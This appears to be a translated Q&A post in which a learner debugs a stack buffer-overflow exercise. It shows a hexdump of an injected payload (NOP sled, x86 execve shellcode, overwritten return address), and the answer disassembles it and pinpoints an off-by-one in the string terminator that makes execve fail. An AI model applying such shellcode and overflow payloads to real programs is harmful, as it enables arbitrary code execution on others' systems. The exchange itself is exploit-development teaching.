我正在学习使用shellcode进行堆栈攻击。我把一切都整理好了,我的shellcode似乎一直工作到最后一条指令0xcd 0x80
。在shellcode结束时应该发生的是中断被发送(从shellcode分支出来),并且应该执行包含更多指令的文件。如果我在命令行输入xxx/aa
,我的文件就会运行(该文件名为aa
,并且位于名为xxx
的目录中。)
我的插入代码的字节表示如下:
0000000: 9090 9090 9090 9090 9090 9090 9090 9090 ................
0000010: 9090 9090 9090 9090 9090 9090 9090 9090 ................
0000020: 9090 9090 9090 9090 9090 9090 9090 9090 ................
0000030: 9090 9090 9090 9090 9090 9090 9090 9090 ................
0000040: 9090 9090 9090 9090 9090 9090 9090 9090 ................
0000050: 9090 9090 9090 9090 9090 9090 9090 9090 ................
0000060: 9090 9090 9090 9090 9090 9090 9090 9090 ................
0000070: 9090 9090 9090 9090 9090 9090 9090 9090 ................
0000080: 9090 9090 9090 9090 9090 9090 9090 9090 ................
0000090: 9090 9090 9090 9090 9090 9090 9090 9090 ................
00000a0: 9090 9090 9090 9090 9090 9090 9090 9090 ................
00000b0: 9090 9090 9090 9090 9090 9090 9090 9090 ................
00000c0: 9090 9090 9090 9090 9090 9090 9090 9090 ................
00000d0: 9090 9090 eb16 5b31 c088 4307 895b 0889 ......[1..C..[..
00000e0: 430c b00b 8d4b 088d 530c cd80 e8e5 ffff C....K..S.......
00000f0: ff78 7878 2f61 612f 7841 4141 4142 4242 .xxx/aa/xAAAABBB
0000100: 4241 4141 4114 f2ff bf0a BAAAA0....
这两个插入我的shellcode并完美地放置新的返回地址。但是,当我运行此代码时,我会陷入无限循环。行0xcd 0x80
用于发送中断并提供参数xxx/aa
,就像我在命令行输入一样。但是,该程序不是执行此行,而是继续运行。由于下一行是对shellcode开头的回调,因此创建了一个无限循环。没有0xcd 0x80
行来打破shellcode,就没有办法解决这个问题。
我做错了什么?如何在我的shell代码中获得此命令行行为。非常感谢!
答案 0 :(得分:0)
代码的反汇编看起来像这样(这里是AT& T语法):
jmp pos2
pos1:
pop %ebx
xor %eax,%eax
mov %al,dbyte1-data(%ebx)
mov %ebx,dlong1-data(%ebx)
mov %eax,dlong2-data(%ebx)
mov $0xb,%al
lea dlong1-data(%ebx),%ecx
lea dlong2-data(%ebx),%edx
int $0x80
pos2:
call pos1
data:
.ascii "xxx/aa/"
dbyte1:
.byte dont_care // ebx+dbyte1-data = ebx+7
dlong1:
.long dont_care // ebx+dlong1-data = ebx+8
dlong2:
.long dont_care // ebx+dlong2-data = ebx+0xC
.byte dont_care // "AAAA0"
首先你可以看到,如果“execve”系统调用(我假设0xB是execve)将失败,这段代码将在无限循环中运行。然而,Execve将失败,因为“xxx / aa /”不是有效的文件名。似乎“mov%al,0x7(%ebx)”应该是“0x6(%ebx)”。
正如“Giel”所写的那样,您可以使用“strace”命令来查看是否真的使用“xxx / aa /”而不是“xxx / aa”作为文件名调用execve。
请注意,您应该记住下一个项目(不适用于此项目):
大多数Linux可执行文件都为堆栈和数据页设置了“NX”位。这意味着CPU将不允许从堆栈或数据段执行代码。这意味着shellcode的执行在大多数Linux程序中都不起作用,但程序将因总线异常或类似异常而停止。